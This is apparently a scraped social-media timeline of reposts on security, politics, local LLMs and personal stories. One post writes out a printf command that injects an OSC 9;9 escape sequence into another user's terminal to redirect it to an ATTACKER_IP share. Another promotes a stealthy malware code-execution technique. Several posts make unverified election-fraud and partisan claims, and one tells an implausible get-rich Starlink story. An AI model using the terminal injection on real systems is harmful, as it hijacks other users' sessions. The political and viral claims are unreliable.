SuperfluousSecurity

Networks, security, infosec, I'll cyber all over. Constitutionalist. Train er' day on cyber range & shooting range, hone skills.

[frostb1te @frostb1ten]

Was playing with terminal escape sequences and found a neat little remote OSC9;9 way to force a user to your share.

2 users ssh'd into 1 server Attacker runs who and grabs the console the victim is on /dev/pts/# Attacker send

printf '\x1b]9;9;\\\\ATTACKER_IP\\share\x1b\\' > /dev/pts/#

to the console and now whenever the victim opens a duplicate or split tab, it forces that window to the share

Small write up on it https://t.co/zxNW8o0crm

[Dr. Heidi Klessig @heidiklessigmd]

After heart surgery, the parents of a 13-year-old girl were told that their daughter was dying, and that they should start making end-of-life decisions, including donating her organs.

Upon transferring their daughter to another hospital however, they were told that doctors at Oregon Health and Science University had installed her new heart valve upside down.

“Doctors at Seattle Children's removed the inverted valve and replaced it with a different one, properly positioned. Her heart promptly began to function correctly. She was successfully taken off cardiac bypass and no longer required ECMO.

Her condition continued to stabilize over the following days in Seattle Children's ICU. After more than a month in critical condition, she was able to return home with her parents.”

[James O'Keefe @JamesOKeefeIII]

🚨Los Angeles Election Fraud Caught on Hidden Camera

LA election petitioners were caught on tape giving homeless individuals other voters' information, instructing them to forge voter names and signatures, and offering cash and drugs as incentives to register to vote.

[Coin Shot ☁️ @CoinSh0t]

16-years-old kid created Starlink prototype and made $300,000

It capture the signal from satellite, and works anywhere

SpaceX tried to shut him down, but the kid was already covered.

Here's how he made it using nothing except Claude:

He's not stealing internet from Starlink.

He's using the radio beacons SpaceX broadcasts as a free positioning system that works when GPS doesn't.

Every Starlink satellite emits a constant beacon.

With a small dish and a $35 radio, you can pick them up and triangulate your location anywhere on Earth, even where GPS is jammed or blocked.

The US Army is testing the same concept.

The kid built a portable version and sold it to hikers, sailors, and emergency crews.

Step 1.

Order the hardware.

RTL-SDR Blog v4 USB receiver ($35)

Small Ku-band parabolic dish (~$50)

Ku-band LNB downconverter ($20)

Raspberry Pi 5 (8GB)

Bias-tee adapter

5000 mAh USB battery

Total around $180.

Step 2.

Flash Raspberry Pi OS Lite to the SD card and boot the Pi.

Step 3.

Install the SDR tools in Terminal:

sudo apt update

sudo apt install rtl-sdr gnuradio python3-numpy

Step 4.

Mount the LNB at the dish focal point.

Connect LNB to bias-tee, bias-tee to SDR, SDR to Pi via USB.

Step 5.

Open Claude Code and paste this prompt:

Write me a Python program that captures Starlink satellite beacons through an RTL-SDR and uses them for positioning.

Hardware: RTL-SDR Blog v4 + Ku-band LNB + parabolic dish.

Requirements:

Scan Ku-band downlink frequencies for Starlink beacons.

Identify each satellite using public TLE data from https://t.co/eZL1xnRATd.

Use Doppler shift from at least 3 satellites to compute position.

Output latitude, longitude, and accuracy to a small OLED screen.

Use pyrtlsdr, skyfield, numpy.

Add comments so I can tune the math.

Step 6.

Run the program.

The Pi locks onto satellites overhead and shows your coordinates with around 10-30 meter accuracy.

No GPS, no cell signal, no internet needed.

The kid 3D-printed a case, branded it as "GPS backup for hikers and sailors," and sold 350 units at $899 each.

Cost per unit: $180.

Profit per unit: $719.

His customers are wildfire crews, bush pilots, backcountry skiers, and yacht owners.

SpaceX has no legal issue with passive reception of public beacons.

The kid's lawyer confirmed it in advance.

[TheWorldHasGoneNuts @PatrickMcSwain]

REPOST THIS PLEASE!!! California did not tell me they rejected my ballot. They also rejected my wife's ballot I have discovered. They claim it is a bad signature on both.

Go to https://t.co/Xiq8fFrqSZ and verify they accepted your ballot.

[Elon Musk @elonmusk]

That’s because fraud at scale takes time!

[EF Comix @11975MHz]

> Be me

> Wonder why my new Logitech bluetooth mouse keeps disconnecting from its bluetooth connection

> Use keyboard to go into Settings, turn BT off and then back on and it starts working again

> Think it's something blocking the signal, but it's not

> This happens every five fucking minutes now

> Check battery. Battery is brand new. Replace it anyway

> Every five minutes it dies, I have to go into settings, etc etc

> Finally have enough, look into buying new mouse

> Before purchasing, decide to look up any issues with this BT mouse

> Ask Grok, something that AI is actually very, VERY good for. Turns out Microsoft is entirely to blame

> The fix: you have to go into your Device Manager

> Device Manager is in your Control Panel

> Your Control Panel is a legacy windows interface that Microsoft is desperately trying their best to make you stop using for some fucking reason, they want you to use Settings instead

> But you can't apply this fix without opening your Device Manager

> Go into your Device Manager, open the Bluetooth pulldown, select Intel(R) Wireless Bluetooth(R) and don't get ANY ideas about infringing on Intel's wireless bluetooth trademarks and copyrights because why the fuck else would they inform you of this in the fucking Device Manager

> Right-click, Properties. Select the Power Management tab

> Unclick "Allow this computer to turn off device to save power"

> MS apparently made it so that it turns the device all the way off, they set it to "ON", and they made that the default setting WITHOUT TELLING FUCKING ANYONE

> Begin to understand why everyone fucking hates Windows 11

[vx-underground @vxunderground]

I don't expect any of you to give a shit, but I would like to share something with all of you. This is kind of a cautionary tale for younger person in my audience.

For the love of God: DO NOT FUCK AROUND WITH BENZODIAZEPINE.

Like it was a plague, don't do Xanax, or Klonopin, or Valium, unless it is under strict medical supervision and you're well educated on the drug.

When I was 18 I had severe anxiety. My anxiety was so extreme I was afraid to shower, put gas in my car, etc. Once I was so afraid to shower I didn't bathe for 8 months. My anxiety was debilitating. I was eventually given a narcotic called Klonopin.

The doctor didn't warn me about the drug.

Klonopin is an extremely effective anti-anxiety medication. It was like a breathe of fresh air. I was able to function. It saved my life. However, what the doctor DID NOT tell me is that Klonopin is like rat poison and is INCREDIBLY DANGEROUS. I cannot stress this enough: INCREDIBLY DANGEROUS.

The long term effects of Benzodiazepine is catastrophic. General speaking, physicians only want you taking drugs like Klonopin for 90 days MAXIMUM. I've been taking it for over 15 years.

My brain and body are both heavily dependent on the drug. If I don't have my Klonopin I physically cannot function. My arms shake, I get headaches, I get confused, I get overwhelming anxiety, I get physically sick, it is absolutely awful. It feels very similar to having the Influenza virus mixed with extreme sleep depravation mixed with being hung over.

Additionally, whenever I told other physicians I take Klonopin I am treated like a drug addict and they scoff at me. Several times in the past, when in an Emergency Room or whatever, and I mention I take Klonopin, I've had doctors directly tell me, "Well, I'm not going to give you any Xanax", or "Why are you really here?". It's terrible and embarrassing.

Anyway, to make a long story short I've decided to begin the journey of quiting the drug. I can't quit cold turkey, because it can kill you .. because it can cause death by stroke, heart attack, seizure, ... whatever. Instead I am working with my physician to slowly taper off the drug.

I'm day five into a 25% reduction, which in some cases is fast, but I agreed to try it. I've had mild insomnia and mild irritability. Besides this though I'm doing pretty good. Once I've kept at this 25% reduction for about 8 weeks I will try to reduce by another 25%.

Seriously though, don't fuck around Benzos like Xanax, Klonopin, Valium, etc. This shit will fuck you up bro

[Fairfax GOP @FairfaxGOP]

🟥 A Fairfax mom did the math on your school district — and the numbers are damning.

Stephanie Lundquist-Arora — Fairfax resident, author, and contributor to The Federalist and the Washington Examiner — just published a detailed breakdown of where FCPS actually spends your money.

Here's what she found:
🟥 The School Board got a $197 MILLION budget increase — then voted to cut 70 teaching positions anyway.
🟥 FCPS runs a 19-person environmental bureaucracy — energy managers, "Get2Green" coordinators, zero-waste staff, climate-action planners — costing taxpayers roughly $2.2 million a year in salaries alone.
🟥 Superintendent Michelle Reid's salary: $445,353. Her chief of staff: $306,154. Class sizes: going up.
🟥 Reading scores? Sliding.

In Lundquist-Arora's own words: "Increasing class sizes and cutting teaching positions while failing to eliminate programs that do not support academic achievement is a symptom of weak and obscenely irresponsible leadership."

The 12-member Fairfax County School Board — every seat Democrat-endorsed — had a choice. They chose the climate office over the classroom. They chose the coordinator over the teacher. They chose the bureaucracy over your child.

School Board Chair Sandy Anderson and her colleagues made this budget. They own these numbers.

This is what happens when one party runs every seat and nobody has to answer for it. The next time these School Board members face voters is November 2, 2027.

Share this with every Fairfax parent you know. They need to see where the money went. 👇
🔗 https://t.co/FOb1vDrxxA

[SEKTOR7 Institute @SEKTOR7net]

LdrShuffle - stealthy code execution, by Hugo Valette (@RWXstoned)

It temporarily overwrites the EntryPoint of loaded DLL modules within the Windows PEB. When OS automatically invokes the modified module's EP, execution is successfully redirected to a payload of choice.

Source: https://t.co/28w8vUtb8P

#maldev #malwaredevelopment #redteam #blueteam

[blue @bluewmist]

I'm finally reading Dune. This quote, which is in the first few pages, hits hard:

"Once men turned their thinking over to machines in the hope that this would set them free. But that only permitted other men with machines to enslave them."

[Mila Joy @Milajoy]

Spencer Pratt (@spencerpratt) needs to tell his voters to check their ballot status and file a complaint if it hasn't been received yet.

MANY people who voted for Spencer are finding out their ballots haven't been received.

You can check ballot status here: https://t.co/h6ftjTv9Ry

[SuperfluousSecurity @SuperfluousSec]

@kmcnam1

[sudox @kmcnam1]

Ugh nooo... What could go wrong?

[Dr. Simon @goddek]

🚨NOW: Rep. Thomas Massie just stood on the House floor and named what every politician in DC has spent 58 years pretending did not happen

The USS Liberty. June 8, 1967.

34 dead American sailors. 174 wounded. Over 70% casualty rate on a virtually unarmed US ship.

25 minutes of Israeli jets, Israeli rockets, Israeli 30mm cannon fire, and ISRAELI NAPALM ON THE BRIDGE. Then Israeli torpedoes. Then Israel machine-gunned the lifeboats.

MASSIE: "They were intent on leaving no survivor."

Then the part nobody wants you to think about: the Saratoga and the America launched planes to help. The planes were RECALLED. The crew sat there bleeding for 17 hours.

Dean Rusk. Richard Helms. Admiral Moaner. The chief counsel of the Court of Inquiry himself. None of them believed the "mistaken identity" story.

And now you understand exactly why the entire DC machine and Israel lobby has spent the last year trying to primary this man out of existence.

You are not allowed to say the quiet part. He said it anyway.

Honor the crew. https://t.co/XuDLeFF4gJ.

[sudox @kmcnam1]

The favorite book of many vibe coders who don't understand the basics...

[Alok @analogalok]

Run Gemma 4 26b MTP on 8 GB VRAM GPUs at 25+ tokens/second. Flags included!

local llm space is moving at terminal velocity. only 3 days ago google released gemma 4 26b a4b qat quants. more efficient than before, ran on 8gb vram at 20 tok/sec.

and now just a few hours ago, mainline llama.cpp merged a massive update and we just shattered our own record. decode throughput went 25-40% up on the same 8 GB VRAM setup!

Before MTP: 20 tps -> After MTP: 28 tps!

llama.cpp just officially merged PR #23398 ("add Gemma4 MTP"), bringing native Multi-Token Prediction (MTP) support to Gemma 4 models.

By running speculative drafting on the same 8GB VRAM RTX 4060 setup, my decode throughput on a 64k context instantly leaped to a blistering 25–27 tokens/sec thats 25-30% increase with the same hardware.

Here is the architectural catch you need to know: Unlike the Qwen 3.5 and 3.6 series, which bake the MTP heads directly into the base GGUF, the Gemma 4 MTP head is not built in.

You must download a separate, specialized MTP drafter GGUF (the assistant model) to act as the speculator. (I've dropped the download link in the replies).

copy and try the exact flags:

-m gemma-4-26B-A4B-it-qat-UD-Q4_K_XL.gguf --spec-type draft-mtp --spec-draft-n-max 6 --spec-draft-p-min 0.7 --spec-draft-model gemma-4-26b-A4B-it-assistant-Q4_0.gguf -c 64000 -v

n-max 4 and p-min 0.7 is also worth checking out. benchmark on your setup and workflow.

if you have a single 8 gb vram nvidia rtx 4060, 3060, 3070, 2080, 2070, grab the MTP drafter GGUF link in the comments and try it yourself.

Check it out even if you have asmaller or a larger gpu, such as a single rtx 3090, 4090, 3060, 2060.

MTP works for all gemma 4 sizes such as gemma 4 12b, gemma 4 31b etc. but remember to grab the correct mtp draft assistant models respectively.

what are you benchmarking today

[Kevin Gosse @KooKiz]

Ok security twitter, I'm very confused by MS' response to my report.

I have a way for an unelevated user to get SYSTEM to run arbitrary code by planting a file in a public folder then waiting for an event that *will* always happen.

How does that not qualify for an EoP?

[Libs of TikTok @libsoftiktok]

ATTENTION PARENTS:

Did you know that schools are REQUIRED BY LAW to hand over all records pertaining to your child??

You do not need to pay lawyers or waste time filing FOIAs.

You simply need to put in a request. If they refuse just say “FERPA.”

If they still refuse, DM me.

They are breaking the law and we will make sure they are held accountable.

[UwU Underground @uwu_underground]

Loading UwU Underground #ARG Chapter 5 Part 2
Progress: ▰▱▱▱▱▱▱▱▱▱▱

Loading Assets: Character #ART
Details: SR3 Biological Entities & Personnel
Subject: Echo13